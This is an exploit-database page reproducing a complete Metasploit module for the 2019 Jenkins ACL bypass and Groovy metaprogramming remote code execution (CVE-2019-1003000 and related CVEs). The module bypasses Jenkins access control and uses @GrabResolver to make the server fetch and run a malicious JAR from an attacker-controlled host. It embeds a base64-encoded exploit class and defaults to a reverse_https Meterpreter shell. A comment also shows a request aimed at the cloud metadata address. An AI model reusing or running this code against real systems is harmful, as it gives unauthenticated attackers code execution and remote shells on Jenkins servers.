Jenkins ACL Bypass / Metaprogramming Remote Code Execution

2019.03.19
Credit: Orange Tsai
Risk: High
Local: No
Remote: Yes
CWE: CWE-399


CVSS Base Score: 6.4/10
Impact Subscore: 4.9/10
Exploitability Subscore: 10/10
Exploit range: Remote
Attack complexity: Low
Authentication: No required
Confidentiality impact: None
Integrity impact: Partial
Availability impact: Partial

## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::Remote::HttpServer include Msf::Exploit::FileDropper def initialize(info = {}) super(update_info(info, 'Name' => 'Jenkins ACL Bypass and Metaprogramming RCE', 'Description' => %q{ This module exploits a vulnerability in Jenkins dynamic routing to bypass the Overall/Read ACL and leverage Groovy metaprogramming to download and execute a malicious JAR file. The ACL bypass gadget is specific to Jenkins <= 2.137 and will not work on later versions of Jenkins. Tested against Jenkins 2.137 and Pipeline: Groovy Plugin 2.61. }, 'Author' => [ 'Orange Tsai', # Discovery and PoC 'wvu' # Metasploit module ], 'References' => [ ['CVE', '2019-1003000'], # Script Security ['CVE', '2019-1003001'], # Pipeline: Groovy ['CVE', '2019-1003002'], # Pipeline: Declarative ['EDB', '46427'], ['URL', 'https://jenkins.io/security/advisory/2019-01-08/'], ['URL', 'https://blog.orange.tw/2019/01/hacking-jenkins-part-1-play-with-dynamic-routing.html'], ['URL', 'https://blog.orange.tw/2019/02/abusing-meta-programming-for-unauthenticated-rce.html'], ['URL', 'https://github.com/adamyordan/cve-2019-1003000-jenkins-rce-poc'] ], 'DisclosureDate' => '2019-01-08', # Public disclosure 'License' => MSF_LICENSE, 'Platform' => 'java', 'Arch' => ARCH_JAVA, 'Privileged' => false, 'Targets' => [ ['Jenkins <= 2.137 (Pipeline: Groovy Plugin <= 2.61)', 'Version' => Gem::Version.new('2.137') ] ], 'DefaultTarget' => 0, 'DefaultOptions' => {'PAYLOAD' => 'java/meterpreter/reverse_https'}, 'Notes' => { 'Stability' => [CRASH_SAFE], 'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK], 'Reliability' => [REPEATABLE_SESSION] }, 'Stance' => Stance::Aggressive # Be aggressive, b-e aggressive! )) register_options([ Opt::RPORT(8080), OptString.new('TARGETURI', [true, 'Base path to Jenkins', '/']) ]) register_advanced_options([ OptBool.new('ForceExploit', [false, 'Override check result', false]) ]) deregister_options('URIPATH') end =begin http://jenkins.local/securityRealm/user/admin/search/index?q=[keyword] =end def check checkcode = CheckCode::Safe res = send_request_cgi( 'method' => 'GET', 'uri' => go_go_gadget1('/search/index'), 'vars_get' => {'q' => 'a'} ) unless res && (version = res.headers['X-Jenkins']) vprint_error('Jenkins not detected') return CheckCode::Unknown end vprint_status("Jenkins #{version} detected") checkcode = CheckCode::Detected if Gem::Version.new(version) > target['Version'] vprint_error("Jenkins #{version} is not a supported target") return CheckCode::Safe end vprint_good("Jenkins #{version} is a supported target") checkcode = CheckCode::Appears if res.body.include?('Administrator') vprint_good('ACL bypass successful') checkcode = CheckCode::Vulnerable else vprint_error('ACL bypass unsuccessful') return CheckCode::Safe end checkcode end def exploit unless check == CheckCode::Vulnerable || datastore['ForceExploit'] fail_with(Failure::NotVulnerable, 'Set ForceExploit to override') end # NOTE: Jenkins/Groovy/Ivy uses HTTP unconditionally, so we can't use HTTPS # HACK: Both HttpClient and HttpServer use datastore['SSL'] ssl = datastore['SSL'] datastore['SSL'] = false start_service('Path' => '/') datastore['SSL'] = ssl print_status('Sending Jenkins and Groovy go-go-gadgets') send_request_cgi( 'method' => 'GET', 'uri' => go_go_gadget1, 'vars_get' => {'value' => go_go_gadget2} ) end # # Exploit methods # =begin http://jenkins.local/securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.github.config.GitHubTokenCredentialsCreator/createTokenByPassword ?apiUrl=http://169.254.169.254/%23 &login=orange &password=tsai =end def go_go_gadget1(custom_uri = nil) # NOTE: See CVE-2018-1000408 for why we don't want to randomize the username acl_bypass = normalize_uri(target_uri.path, '/securityRealm/user/admin') return normalize_uri(acl_bypass, custom_uri) if custom_uri normalize_uri( acl_bypass, '/descriptorByName', '/org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition/checkScriptCompile' ) end =begin http://jenkins.local/descriptorByName/org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition/checkScriptCompile ?value= @GrabConfig(disableChecksums=true)%0a @GrabResolver(name='orange.tw', root='http://[your_host]/')%0a @Grab(group='tw.orange', module='poc', version='1')%0a import Orange; =end def go_go_gadget2 ( <<~EOF @GrabConfig(disableChecksums=true) @GrabResolver('http://#{srvhost_addr}:#{srvport}/') @Grab('#{vendor}:#{app}:#{version}') import #{app} EOF ).strip end # # Payload methods # # # If you deviate from the following sequence, you will suffer! # # HEAD /path/to/pom.xml -> 404 # HEAD /path/to/payload.jar -> 200 # GET /path/to/payload.jar -> 200 # def on_request_uri(cli, request) vprint_status("#{request.method} #{request.uri} requested") unless %w[HEAD GET].include?(request.method) vprint_error("Ignoring #{request.method} request") return end if request.method == 'HEAD' if request.uri != payload_uri vprint_error('Sending 404') return send_not_found(cli) end vprint_good('Sending 200') return send_response(cli, '') end if request.uri != payload_uri vprint_error('Sending bogus file') return send_response(cli, "#{Faker::Hacker.say_something_smart}\n") end vprint_good('Sending payload JAR') send_response( cli, payload_jar, 'Content-Type' => 'application/java-archive' ) # XXX: $HOME may not work in some cases register_dir_for_cleanup("$HOME/.groovy/grapes/#{vendor}") end def payload_jar jar = payload.encoded_jar jar.add_file("#{app}.class", exploit_class) jar.add_file( 'META-INF/services/org.codehaus.groovy.plugins.Runners', "#{app}\n" ) jar.pack end =begin javac Exploit.java import metasploit.Payload; public class Exploit { public Exploit(){ try { Payload.main(null); } catch (Exception e) { } } } =end def exploit_class klass = Rex::Text.decode_base64( <<~EOF yv66vgAAADMAFQoABQAMCgANAA4HAA8HABAHABEBAAY8aW5pdD4BAAMoKVYB AARDb2RlAQANU3RhY2tNYXBUYWJsZQcAEAcADwwABgAHBwASDAATABQBABNq YXZhL2xhbmcvRXhjZXB0aW9uAQAHRXhwbG9pdAEAEGphdmEvbGFuZy9PYmpl Y3QBABJtZXRhc3Bsb2l0L1BheWxvYWQBAARtYWluAQAWKFtMamF2YS9sYW5n L1N0cmluZzspVgAhAAQABQAAAAAAAQABAAYABwABAAgAAAA3AAEAAgAAAA0q twABAbgAAqcABEyxAAEABAAIAAsAAwABAAkAAAAQAAL/AAsAAQcACgABBwAL AAAA EOF ) # Replace length-prefixed string "Exploit" with a random one klass.sub(/.Exploit/, "#{[app.length].pack('C')}#{app}") end # # Utility methods # def payload_uri "/#{vendor}/#{app}/#{version}/#{app}-#{version}.jar" end def vendor @vendor ||= Faker::App.author.split(/[^[:alpha:]]/).join end def app @app ||= Faker::App.name.split(/[^[:alpha:]]/).join end def version @version ||= Faker::App.semantic_version end end


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2019, cxsecurity.com

 

Back to Top